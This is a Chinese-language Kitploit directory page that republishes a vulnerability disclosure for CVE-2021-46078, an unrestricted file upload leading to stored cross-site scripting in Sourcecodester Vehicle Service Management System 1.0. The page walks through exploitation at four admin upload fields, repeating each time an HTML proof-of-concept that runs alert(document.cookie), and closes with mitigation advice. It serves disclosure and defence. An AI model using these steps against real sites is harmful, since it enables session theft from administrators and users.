Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting — CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 中存在一个无限制文件上传漏洞。远程攻击者可以上传恶意文件,从而导致存储型跨站脚本漏洞。 | Kitploit
工具/GitHubGitHub/sanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
漏洞分析漏洞利用Web应用程序漏洞利用Web安全渗透测试学习与教育
GitHubsanupl/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting

Vehicle-Service-Management-System-Multiple-File-upload-Leads-to-Stored-Cross-Site-Scripting

CVE-2021-46078 - Sourcecodester Vehicle Service Management System 1.0 中存在一个无限制文件上传漏洞。远程攻击者可以上传恶意文件,从而导致存储型跨站脚本漏洞。

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
查看仓库
14个月前尚未审核
分享

CVE-2021-46078

漏洞名称:Vehicle Service Management System - '多处'文件上传导致存储型跨站脚本攻击

漏洞作者:SANU P.L

CVE:CVE-2021-46078

CVSS:4.8 中危

参考链接:

  • https://www.plsanu.com/vehicle-service-management-system-multiple-file-upload-leads-to-stored-cross-site-scripting
  • https://nvd.nist.gov/vuln/detail/CVE-2021-46078
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-46078

描述:

Sourcecodester Vehicle Service Management System 1.0 存在无限制文件上传漏洞。远程攻击者可上传恶意文件,导致存储型跨站脚本攻击。

1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)

漏洞利用:

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至 My Account 部分 http://localhost/vehicle_service/admin/?page=user

载荷:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 将以上HTML代码保存为文件,例如 XSS.html
  2. 在 My Account 部分输入所有必需字段,并在 Avatar 字段中选择该HTML文件。
  3. 点击更新按钮。
  4. 在新标签页中打开头像图片。
  5. 恶意JavaScript代码被触发。

2. Vehicle Service Management System - '用户列表' (/admin/?page=user/manage_user)

漏洞利用:

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至用户列表部分,点击创建新用户按钮。

载荷:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 将以上HTML代码保存为文件,例如 XSS.html
  2. 在创建新用户页面输入所有必需字段,并在 Avatar 字段中选择该HTML文件。
  3. 点击保存按钮。
  4. 在新标签页中打开头像图片。
  5. 恶意JavaScript代码被触发。

3. Vehicle Service Management System - '设置-系统Logo' (/admin/?page=system_info)

漏洞利用:

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info

载荷:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 将以上HTML代码保存为文件,例如 XSS.html
  2. 在设置部分输入所有必需字段,并在系统 Logo 字段中选择该HTML文件。
  3. 点击更新按钮。
  4. 在新标签页中打开系统 Logo 图片。
  5. 恶意JavaScript代码被触发。

4. Vehicle Service Management System - '设置-网站封面' (/admin/?page=system_info)

漏洞利用:

  1. 登录管理面板 http://localhost/vehicle_service/admin
  2. 导航至设置部分 http://localhost/vehicle_service/admin/?page=system_info

载荷:

root@kitploit:~
<!DOCTYPE html>
<html>
<title>存储型XSS</title>
<body>
<script>
alert(document.cookie);
</script>
</body>
</html>
  1. 将以上HTML代码保存为文件,例如 XSS.html
  2. 在设置部分输入所有必需字段,并在网站封面字段中选择该HTML文件。
  3. 点击更新按钮。
  4. 在新标签页中打开网站封面图片。
  5. 恶意JavaScript代码被触发。

影响:

攻击者能够在多个端点上传恶意文件,从而导致存储型跨站脚本攻击。

缓解措施:

建议实施以下措施:

  • 切勿在未使用白名单过滤的情况下直接接受文件名及其扩展名。
  • 如果不需要Unicode字符,强烈建议仅接受字母数字字符,且文件名和扩展名中仅允许一个点号。
  • 限制文件大小至最大值,以防止拒绝服务攻击。
  • 上传目录不应具有任何"执行"权限。
  • 不要仅依赖客户端验证。
下载工具